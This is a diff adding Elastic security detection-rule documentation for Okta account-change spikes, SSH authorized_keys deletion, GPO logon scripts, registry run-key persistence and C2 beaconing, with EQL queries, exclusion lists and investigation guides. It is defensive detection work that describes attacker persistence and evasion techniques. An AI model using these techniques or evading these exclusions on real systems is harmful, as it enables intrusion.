b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-user-lifecycle-management-change-events.asciidoc new file mode 100644 index 0000000000..1f6a44f95c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-user-lifecycle-management-change-events.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-20-spike-in-user-lifecycle-management-change-events]] +=== Spike in User Lifecycle Management Change Events + +A machine learning job has identified an unusual spike in Okta user lifecycle management change events, indicating potential privileged access activity. Threat actors may manipulate user accounts to gain higher access rights or persist within the environment. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-3h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in User Lifecycle Management Change Events* + + +User lifecycle management in environments like Okta involves creating, modifying, and deleting user accounts. Adversaries may exploit this by manipulating accounts to escalate privileges or maintain access. The detection rule leverages machine learning to identify unusual spikes in these events, signaling potential misuse. By focusing on anomalies, it aids in early detection of privilege escalation tactics. + + +*Possible investigation steps* + + +- Review the specific user accounts involved in the lifecycle management change events to identify any patterns or anomalies, such as multiple changes in a short period or changes made by unusual sources. +- Check the timestamps of the change events to determine if they align with normal business hours or if they occurred during unusual times, which might indicate suspicious activity. +- Investigate the source IP addresses and locations associated with the change events to identify any unusual or unauthorized access points. +- Examine the types of changes made to the user accounts, such as privilege escalations or role modifications, to assess if they align with legitimate business needs. +- Cross-reference the user accounts involved with recent security alerts or incidents to determine if they have been previously flagged for suspicious activity. +- Consult with the account owners or relevant department heads to verify if the changes were authorized and necessary for business operations. + + +*False positive analysis* + + +- Routine administrative tasks such as bulk user account updates or scheduled maintenance can trigger spikes in user lifecycle management events. To manage this, create exceptions for known maintenance windows or bulk operations. +- Automated processes or scripts that regularly modify user accounts may cause false positives. Identify these processes and exclude them from the detection rule to prevent unnecessary alerts. +- Onboarding or offboarding periods with high user account activity can lead to spikes. Adjust the detection thresholds temporarily during these periods or exclude specific user groups involved in these activities. +- Integration with third-party applications that frequently update user attributes might result in false positives. Review and whitelist these applications to reduce noise in the detection system. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts to prevent further unauthorized access or privilege escalation. This can be done by disabling the accounts or changing their passwords. +- Review and revoke any unauthorized permissions or roles that were assigned during the spike in user lifecycle management change events. Ensure that only legitimate access rights are restored. +- Conduct a thorough audit of recent user account changes to identify any additional accounts that may have been manipulated. Pay special attention to accounts with elevated privileges. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordination for further investigation and response. +- Implement additional monitoring on the affected accounts and related systems to detect any further suspicious activity or attempts to regain unauthorized access. +- Escalate the incident to higher-level security management if the scope of the breach is extensive or if sensitive data may have been compromised. +- Review and update access management policies and procedures to prevent similar incidents in the future, ensuring that changes to user accounts are logged and regularly reviewed. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Okta logs collected by integrations such as Okta. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Okta events collected by https://docs.elastic.co/en/integrations/okta[Okta] integration. +- To add the Okta integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-ssh-authorized-keys-file-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-ssh-authorized-keys-file-deletion.asciidoc new file mode 100644 index 0000000000..f2f423d414 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-ssh-authorized-keys-file-deletion.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-20-ssh-authorized-keys-file-deletion]] +=== SSH Authorized Keys File Deletion + +This rule detects the deletion of the authorized_keys or authorized_keys2 files on Linux systems. These files are used to store public keys for SSH authentication. Unauthorized deletion of these files can be an indicator of an attacker removing access to the system, and may be a precursor to further malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SSH Authorized Keys File Deletion* + + +SSH authorized keys files are crucial for secure, password-less authentication on Linux systems, storing public keys that grant access. Adversaries may delete these files to disrupt legitimate access or cover their tracks. The detection rule identifies unauthorized deletions by monitoring file removal events, excluding benign processes, thus highlighting potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file name (authorized_keys or authorized_keys2) and the host where the deletion occurred. +- Examine the process that triggered the deletion event, focusing on the process.executable field to determine if it is a known benign process or potentially malicious. +- Check the user account associated with the process that deleted the file to assess if it is a legitimate user or potentially compromised. +- Investigate recent login attempts and SSH access logs on the affected host to identify any unauthorized access or anomalies around the time of the file deletion. +- Look for any other suspicious activities or alerts on the same host that might indicate a broader attack or compromise, such as other file deletions or modifications. +- Assess the impact of the deletion by determining if legitimate access was disrupted and if any critical operations were affected. + + +*False positive analysis* + + +- Routine system maintenance or updates may trigger deletions of authorized_keys files. To handle this, identify and exclude processes related to scheduled maintenance tasks from the detection rule. +- Automated configuration management tools like Ansible or Puppet might remove and recreate authorized_keys files as part of their operations. Consider excluding these tools' processes if they are verified as non-threatening. +- Cloud service agents, such as those from Google Cloud, may modify SSH keys as part of their operations. Ensure that processes like /usr/bin/google_guest_agent are excluded to prevent false positives. +- Container management services like Docker and containerd might interact with SSH keys during container lifecycle events. Exclude these processes if they are part of legitimate container operations. +- Custom scripts or applications that manage SSH keys for legitimate purposes should be reviewed and, if necessary, added to the exclusion list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the attacker. +- Verify the integrity of the SSH configuration and authorized keys files on the affected system. Restore the deleted authorized_keys or authorized_keys2 files from a secure backup if available. +- Conduct a thorough review of recent user and process activity on the affected system to identify any unauthorized access or suspicious behavior that may have led to the deletion. +- Change SSH keys and credentials for all users on the affected system to prevent unauthorized access using potentially compromised keys. +- Implement additional monitoring on the affected system to detect any further unauthorized file deletions or suspicious activities, ensuring that alerts are configured for immediate response. +- Escalate the incident to the security operations team for further investigation and to determine if the attack is part of a larger campaign targeting the organization. +- Review and update access controls and permissions on the affected system to ensure that only authorized users and processes can modify critical files like authorized_keys. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "deletion" and file.name in ("authorized_keys", "authorized_keys2") and +not ( + process.executable in ( + "/usr/bin/google_guest_agent", "/usr/bin/dockerd", "/bin/dockerd", "/usr/bin/containerd" + ) or + process.executable like~ "/nix/store/*" or + file.path like~ ("*backup*", "*ansible*", "*puppet*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-startup-logon-script-added-to-group-policy-object.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-startup-logon-script-added-to-group-policy-object.asciidoc new file mode 100644 index 0000000000..870e784fcf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-startup-logon-script-added-to-group-policy-object.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-20-startup-logon-script-added-to-group-policy-object]] +=== Startup/Logon Script added to Group Policy Object + +Detects the modification of Group Policy Objects (GPO) to add a startup/logon script to users or computer objects. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0025_windows_audit_directory_service_changes.md +* https://github.com/atc-project/atc-data/blob/f2bbb51ecf68e2c9f488e3c70dcdd3df51d2a46b/docs/Logging_Policies/LP_0029_windows_audit_detailed_file_share.md +* https://labs.f-secure.com/tools/sharpgpoabuse + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Startup/Logon Script added to Group Policy Object* + + +Group Policy Objects (GPOs) can be used by attackers to instruct arbitrarily large groups of clients to execute specified commands at startup, logon, shutdown, and logoff. This is done by creating or modifying the `scripts.ini` or `psscripts.ini` files. The scripts are stored in the following paths: + - `\Machine\Scripts\` + - `\User\Scripts\` + + +*Possible investigation steps* + + +- This attack abuses a legitimate mechanism of Active Directory, so it is important to determine whether the activity is legitimate and the administrator is authorized to perform this operation. +- Retrieve the contents of the `ScheduledTasks.xml` file, and check the `` and `` XML tags for any potentially malicious commands or binaries. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Scope which objects may be compromised by retrieving information about which objects are controlled by the GPO. + + +*False positive analysis* + + +- Verify if the execution is legitimately authorized and executed under a change management process. + + +*Related rules* + + +- Group Policy Abuse for Privilege Addition - b9554892-5e0e-424b-83a0-5aef95aa43bf +- Scheduled Task Execution at Scale via GPO - 15a8ba77-1c13-4274-88fe-6bd14133861e + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- The investigation and containment must be performed in every computer controlled by the GPO, where necessary. +- Remove the script from the GPO. +- Check if other GPOs have suspicious scripts attached. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +The 'Audit Detailed File Share' audit policy must be configured (Success Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +Object Access > +Audit Detailed File Share (Success,Failure) +``` + +The 'Audit Directory Service Changes' audit policy must be configured (Success Failure). +Steps to implement the logging policy with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code in ("5136", "5145") and +( + ( + winlog.event_data.AttributeLDAPDisplayName : ( + "gPCMachineExtensionNames", + "gPCUserExtensionNames" + ) and + winlog.event_data.AttributeValue : "*42B5FAAE-6536-11D2-AE5A-0000F87571E3*" and + winlog.event_data.AttributeValue : ( + "*40B66650-4972-11D1-A7CA-0000F87571E3*", + "*40B6664F-4972-11D1-A7CA-0000F87571E3*" + ) + ) or + ( + winlog.event_data.ShareName : "\\\\*\\SYSVOL" and + winlog.event_data.RelativeTargetName : ("*\\scripts.ini", "*\\psscripts.ini") and + winlog.event_data.AccessList:"*%%4417*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Group Policy Modification +** ID: T1484.001 +** Reference URL: https://attack.mitre.org/techniques/T1484/001/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Initialization Scripts +** ID: T1037 +** Reference URL: https://attack.mitre.org/techniques/T1037/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-startup-or-run-key-registry-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-startup-or-run-key-registry-modification.asciidoc new file mode 100644 index 0000000000..4c723d91ea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-startup-or-run-key-registry-modification.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-20-startup-or-run-key-registry-modification]] +=== Startup or Run Key Registry Modification + +Identifies run key or startup key registry modifications. In order to survive reboots and other system interrupts, attackers will modify run keys within the registry or leverage startup folder items as a form of persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Startup or Run Key Registry Modification* + + +Adversaries may achieve persistence by referencing a program with a registry run key. Adding an entry to the run keys in the registry will cause the program referenced to be executed when a user logs in. These programs will executed under the context of the user and will have the account's permissions. This rule looks for this behavior by monitoring a range of registry run keys. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- There is a high possibility of benign legitimate programs being added to registry run keys. This activity could be based on new software installations, patches, or any kind of network administrator related activity. Before undertaking further investigation, verify that this activity is not benign. + + +*Related rules* + + +- Suspicious Startup Shell Folder Modification - c8b150f0-0164-475b-a75e-74b47800a9ff +- Persistent Scripts in the Startup Directory - f7c4dc5a-a58d-491d-9f14-9b66507121c0 +- Startup Folder Persistence via Unsigned Process - 2fba96c0-ade5-4bce-b92f-a5df2509da3f +- Startup Persistence by a Suspicious Process - 440e2db4-bc7f-4c96-a068-65b78da59bde + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.data.strings != null and registry.hive : ("HKEY_USERS", "HKLM") and + registry.path : ( + /* Machine Hive */ + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*", + /* Users Hive */ + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*" + ) and + /* add common legitimate changes without being too restrictive as this is one of the most abused AESPs */ + not registry.data.strings : "ctfmon.exe /n" and + not (registry.value : "Application Restart #*" and process.name : "csrss.exe") and + not user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20") and + not registry.data.strings : ("*:\\Program Files\\*", + "*:\\Program Files (x86)\\*", + "*:\\Users\\*\\AppData\\Local\\*", + "* --processStart *", + "* --process-start-args *", + "ms-teamsupdate.exe -UninstallT20", + " ", + "grpconv -o", "* /burn.runonce*", "* /startup", + "?:\\WINDOWS\\SysWOW64\\Macromed\\Flash\\FlashUtil32_*_Plugin.exe -update plugin") and + not process.executable : ("?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe", + "D:\\*", + "\\Device\\Mup*", + "C:\\Windows\\SysWOW64\\reg.exe", + "C:\\Windows\\System32\\changepk.exe", + "C:\\Windows\\System32\\netsh.exe", + "C:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe", + "C:\\$WINDOWS.~BT\\Sources\\SetupHost.exe", + "C:\\Program Files\\Cisco Spark\\CiscoCollabHost.exe", + "C:\\Sistemas\\Programas MP\\CCleaner\\CCleaner64.exe", + "C:\\Program Files (x86)\\FastTrack Software\\Admin By Request\\AdminByRequest.exe", + "C:\\Program Files (x86)\\Exclaimer Ltd\\Cloud Signature Update Agent\\Exclaimer.CloudSignatureAgent.exe", + "C:\\ProgramData\\Lenovo\\Vantage\\AddinData\\LenovoBatteryGaugeAddin\\x64\\QSHelper.exe", + "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\*\\Installer\\setup.exe", + "C:\\ProgramData\\bomgar-scc-*\\bomgar-scc.exe", + "C:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil*_pepper.exe", + "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.EXE", + "C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*\\AdobeARM.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-statistical-model-detected-c2-beaconing-activity-with-high-confidence.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-statistical-model-detected-c2-beaconing-activity-with-high-confidence.asciidoc new file mode 100644 index 0000000000..1e95f49177 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-statistical-model-detected-c2-beaconing-activity-with-high-confidence.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-statistical-model-detected-c2-beaconing-activity-with-high-confidence]] +=== Statistical Model Detected C2 Beaconing Activity with High Confidence + +A statistical model has identified command-and-control (C2) beaconing activity with high confidence. Beaconing can help attackers maintain stealthy communication with their C2 servers, receive instructions and payloads, exfiltrate data and maintain persistence in a network. + +*Rule type*: query + +*Rule indices*: + +* ml_beaconing.all + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/beaconing +* https://www.elastic.co/security-labs/identifying-beaconing-malware-using-elastic + +*Tags*: + +* Domain: Network +* Use Case: C2 Beaconing Detection +* Tactic: Command and Control +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Statistical Model Detected C2 Beaconing Activity with High Confidence* + + +Statistical models analyze network traffic patterns to identify anomalies indicative of C2 beaconing, a tactic where attackers maintain covert communication with compromised systems. Adversaries exploit this to issue commands, exfiltrate data, and sustain network presence. The detection rule leverages a high beaconing score to flag potential threats, aiding analysts in pinpointing suspicious activities linked to C2 operations. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the source and destination IP addresses associated with the beaconing activity flagged by the beacon_stats.beaconing_score of 3. +- Correlate the identified IP addresses with known malicious IP databases or threat intelligence feeds to determine if they are associated with known C2 servers. +- Analyze the frequency and pattern of the beaconing activity to assess whether it aligns with typical C2 communication patterns, such as regular intervals or specific time frames. +- Investigate the domain names involved in the communication to check for any associations with malicious activities or suspicious registrations. +- Examine the payloads or data transferred during the flagged communication sessions to identify any potential exfiltration of sensitive information or receipt of malicious instructions. +- Cross-reference the involved systems with internal asset inventories to determine if they are critical assets or have been previously flagged for suspicious activities. +- Consult with the incident response team to decide on containment or remediation actions if the investigation confirms malicious C2 activity. + + +*False positive analysis* + + +- Regularly scheduled software updates or patch management systems may generate network traffic patterns similar to C2 beaconing. Users can create exceptions for known update servers to reduce false positives. +- Automated backup systems that frequently communicate with cloud storage services might be flagged. Identifying and excluding these backup services from the analysis can help mitigate this issue. +- Network monitoring tools that periodically check connectivity or system health can mimic beaconing activity. Whitelisting these monitoring tools can prevent them from being incorrectly flagged. +- Internal applications that use polling mechanisms to check for updates or status changes may trigger alerts. Documenting and excluding these applications from the rule can minimize false positives. +- Frequent communication with trusted third-party services, such as content delivery networks, may appear as beaconing. Establishing a list of trusted domains and excluding them from the analysis can help manage this. + + +*Response and remediation* + + +- Isolate the affected systems from the network to prevent further communication with the C2 server and contain the threat. +- Conduct a thorough analysis of the network traffic logs to identify any additional compromised systems or lateral movement within the network. +- Remove any malicious software or scripts identified on the compromised systems, ensuring all traces of the C2 communication channels are eradicated. +- Apply security patches and updates to all affected systems to close any vulnerabilities exploited by the attackers. +- Change all credentials and authentication tokens associated with the compromised systems to prevent unauthorized access. +- Monitor the network for any signs of re-infection or continued C2 activity, using enhanced detection rules and updated threat intelligence. +- Escalate the incident to the appropriate internal security team or external cybersecurity experts for further investigation and to assess the potential impact on the organization. + +==== Setup + + + +*Setup* + + +The rule requires the Network Beaconing Identification integration assets to be installed, as well as network logs collected by the Elastic Defend or Network Packet Capture integrations. + + 